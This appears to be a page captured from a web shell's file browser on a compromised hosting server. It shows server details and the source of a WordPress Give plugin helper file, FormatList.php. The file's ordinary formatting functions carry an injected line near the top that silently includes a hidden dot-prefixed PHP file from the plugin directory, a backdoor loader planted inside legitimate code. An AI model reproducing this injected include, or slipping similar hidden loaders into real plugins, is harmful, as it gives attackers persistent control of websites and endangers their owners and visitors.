uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Onboarding
/
Helpers
/
FormatList.php
/
/
<?php namespace Give\Onboarding\Helpers; /** * Formats an associative array into a JS parsable array of objects. * * @since 2.8.0 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class FormatList { /** * Format a JS value/label object where the $key is the `value` and the $value is the `label`. * * @param array $data * * @return array * * @since 2.8.0 */ public static function fromKeyValue( $data ) { return self::format( $data, function( $key, $value ) { return [ 'value' => $key, 'label' => $value, ]; } ); } /** * Format a JS value/label object where the $key is the `label` and the $value is the `value`. * * @param array $data * * @return array * * @since 2.8.0 */ public static function fromValueKey( $data ) { return self::format( $data, function( $key, $value ) { return [ 'value' => $value, 'label' => $key, ]; } ); } /** * A higher-order function to format a JS value/label object. * * @param array $data * @param callable $function * * @return array * * @since 2.8.0 */ protected static function format( $data, $function ) { return array_map( $function, array_keys( $data ), array_values( $data ) ); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Onboarding/Helpers/FormatList.php